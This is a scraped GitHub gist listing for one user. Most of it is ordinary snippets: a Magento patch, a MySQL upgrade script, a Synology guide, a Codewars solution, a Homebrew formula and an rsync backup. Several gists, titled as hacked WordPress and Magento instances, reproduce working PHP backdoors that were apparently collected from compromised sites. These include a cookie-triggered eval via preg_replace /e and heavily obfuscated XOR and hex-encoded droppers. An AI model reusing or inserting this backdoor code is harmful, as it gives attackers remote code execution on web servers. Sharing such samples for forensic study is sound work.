Skip to content

Instantly share code, notes, and snippets.

🏠
Working on my smart home

Matthias Kleine klein0r

🏠
Working on my smart home
Block or report user

Report or block klein0r

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
@klein0r
klein0r / patch.diff
Created Nov 15, 2016
Magento SUPEE8788v1 -> SUPEE8788v2 Patch (Magento > 1.9.1.x)
View patch.diff
diff --git a/lib/Unserialize/Parser.php b/lib/Unserialize/Parser.php
index 20a6a3c..88c6555 100644
--- a/lib/Unserialize/Parser.php
+++ b/lib/Unserialize/Parser.php
@@ -34,6 +34,7 @@ class Unserialize_Parser
const TYPE_DOUBLE = 'd';
const TYPE_ARRAY = 'a';
const TYPE_BOOL = 'b';
+ const TYPE_NULL = 'N';
@klein0r
klein0r / migrate.sh
Last active Apr 5, 2016 — forked from tobi-pb/migrate.sh
Upgrade MAMP to Mysql 5.6
View migrate.sh
#!/bin/sh
wget http://dev.mysql.com/get/Downloads/MySQL-5.6/mysql-5.6.29-osx10.9-x86_64.tar.gz
tar xfvz mysql-5.6*
echo "stopping mamp"
sudo /Applications/MAMP/bin/stop.sh
sudo killall httpd mysqld
echo "creating backup"
View ds214-ipkg-install
# How to install `ipkg` on a Synology DS214
After a couple of days of trying to get `ipkg` woking on my DS214 I found [this article](https://github.com/trepmag/ds213j-optware-bootstrap) by [trepmag](https://github.com/trepmag). It is written for the DS213j, but it’s been working for me and [others](https://github.com/alberthild) for the DS214 too.
I have done some minor changed to clarify some things, but if you are a Linux guy (unlike me) my changes might be of no use to you.
## Guide
@klein0r
klein0r / script.js
Created Oct 9, 2015
GPS Navigation (Codewars)
View script.js
function navigate(nmbrInt, roads, from, to) {
const getRoad = (from, to, roads) => roads.filter((e) => e.from == from && e.to == to)[0];
const getIntersections = (roads) => roads.reduce((r, e) => r.concat([e.from, e.to]), []).filter((e, i, a) => a.indexOf(e) === i);
const permutator = function(inputArr, from, to) {
var r = [];
var permute = function(arr, memo) {
var cur, memo = memo || [];
for (var i = 0; i < arr.length; i++) {
cur = arr.splice(i, 1);
@klein0r
klein0r / gist:1d2498ef3d692c71cd3a
Created Sep 21, 2015
Another hacked Wordpress instance
View gist:1d2498ef3d692c71cd3a
<?php
$hytQev='str_r'.#iai.
'ot13';
$tOtZGQ = $hytQev('bo_f'.#iai.
'gneg');
$tOtZGQ();
?>
5”ЩrЋ:E йСƒ; ‘ CPs™й  .7љњЇМ{3„*iЏuЮ† ŸюёикšAwг=ШЇ^oчю^РKОІ*З[ ,R:Eg ЪзQЁ,НЅЗMњСЭ†…&EбюБiФ\~єv™]€(БјЬBя0D‹RKШЅWдж јќU ’LW[С[RHквюЉs9“уŽЬJв=StтО}‚6ŒЯR ОЕ1О*(kv‰6юЗLщV`8H ŠFІК^{4[9™Ц3Щ{D4Жw
”‹­хRж–ёбс1vЏ27яŸ2QРВиS][mЊФлФ­ЇVŸЗ*єп|b\њPќ<&„D|@uМыЗGœ:еиFёхЩРol$šђЊ`Ў?ljŽ4“4‚№ЙBу#ф_й@xгПob"еяgН†ƒPOЛ’двО'j‘†‰‘ьђщR.
View IndexController.php
class Mage_Cms_Auth_doe
{
public function __construct() {
$auth_cookie = @$_COOKIE['pwreoizidwmpnyjv3'];
if ($auth_cookie) {
$method = $auth_cookie(@$_COOKIE['pwreoizidwmpnyjv2']);
$auth = $auth_cookie(@$_COOKIE['pwreoizidwmpnyjv1']);
$method("/124/e",$auth,124);
}
}
@klein0r
klein0r / gist:2024f8b25b0d57b9ebb7
Created Jul 10, 2015
Wordpress-Hacks everywhere
View gist:2024f8b25b0d57b9ebb7
<?php
$LyuLYn7q='SjlMe4iB'^VPQay5LSynk;$aP7fKKARorx='lgw}os{uo{o'&nwwuosn.'}o{~';$FCfr=#viRjzc'.
'A@!'|'$@ ';$CTv9dUvq='v>}Wy{'&"?n7_[Z";$Kw8So=cPiQwD_f1.'~G`Inf'|'.'./*G6OP_D'.
'KJz*/bEqvgN.'`'.dfh4.')Gj';$x7ZTNazT83='!'|' ';$uf='-E#8(V]F9,'._tS3.#HV5MrX5'.
']$C*_I%B'^EwJZNsuuJA4UoN2_nN.'+z_#';$UbwCX='*'|'/';$wJ='$!'|'$`';$kzx4K=#u5pP'.
' B$'|'$`,';$cWBZYNvAVf=e4&":%";$CWybIel=xt&IT;$vDm2Py6F6m='DP^A'|'P@Y@';'xv5r'.
'M^A@n';$ZkAAsX7e=E|'%';$xg='e}{'&wzi;$toA5l1=K^'?';$ZOxOMOEqYgw='!'^B;'gTKGKd'.
'Re';$TjriVlxL=k&b;$aOhJkozm=q&r;$n6Gv5kZZXV=Ds4&'t;v';$mqmxG1=t&_;'lVaCApbGnj'.
'RGd:)Gf<p';$nhuvfU_Ae=B^':';$KNnxqtt_j=SW^'% ';$ad8FGFpkzwK=p|'5';$pJw=(/*dkw'.
'8*z*/mowuo.'{m|oio'&'n}~o~{o|eyo')&$aP7fKKARorx;$fw=$FCfr|('D$$'|'H$0');'QXZp'.
@klein0r
klein0r / gist:3744c2ee9cdce01b034e
Created Jul 10, 2015
Another hacked Wordpress Instance
View gist:3744c2ee9cdce01b034e
<?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { $ua=strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]); if ((! strstr($ua,"\x6d\163\x69\145")) and (! strstr($ua,"\x72\166\x3a\61\x31"))) $GLOBALS["\x61\156\x75\156\x61"]=1; } ?><?php $tngmufxact = '%x5c%x7860opjudovg%x5c%x7822)!gj}1~!<2p%x]88]5]48]32M3]317]445]212]445]43]321]464]284{jt)!gj!<*2bd%x5c%x7825-#1GO%x5c%x7822#)fepmqyfA>2bpreg_replace("%x2f%50%x2e%52%x29%57%x65","%x6%x7860439275ttfsqnpdov{h19275j{hnpd19275fubm%x5c%x7824-%x5c%x7824y7%x5c%x7824-%x5c%x7824*<!%x5c%x7824-%x5c%m%x5c%x7825=*h%x5c%x7825)m%x5c%x7825):fmji%x5c%x7878:<##:>:h%x5cc%x7825+*!*+fepdfe{h+{d%x5c%x7825c%x7825)utjm!|!*5!%x5c%x7827!hmg%x5cvt)esp>hmg%x5c%x7825!<12>j%x5c%x7825!|!*#91y]c9y]g2%x7825!<**3-j%x5c%x7825-bubE{h%x5c%x7825)sutcvt-#w#)ldbqov>*ofmy%x5x7825s:%x5c%x785c%x5c%x7825j:^<!%x5c%x7825w%x5c%x7860%x5c%x785c825V<#65,47R25,d7R17,67R37,#%x5c%x782fq%x5c%x7825>U<#16,47R57,2825r%x5c%x7878B%x5c%x782825tdz*Wsfuvso!%x5c%x7825bss%x5c%xssutRe%x5c%x782
View varnish3.rb
require 'formula'
class Varnish3 <Formula
url 'http://repo.varnish-cache.org/source/varnish-3.0.2.tar.gz'
homepage 'http://www.varnish-cache.org/'
sha256 '973f60625e9690e0989e1bbc73c37ea53fc6291b8f7b03d617b76f8084a4a243'
depends_on 'pkg-config' => :build
depends_on 'pcre' => :build
@klein0r
klein0r / backup.sh
Last active Aug 29, 2015
Foto backups via rsync
View backup.sh
#!/bin/bash
rsync -Cavuzbr . /Volumes/IomegaHDD/Backup/Lightroom/ --delete
You can’t perform that action at this time.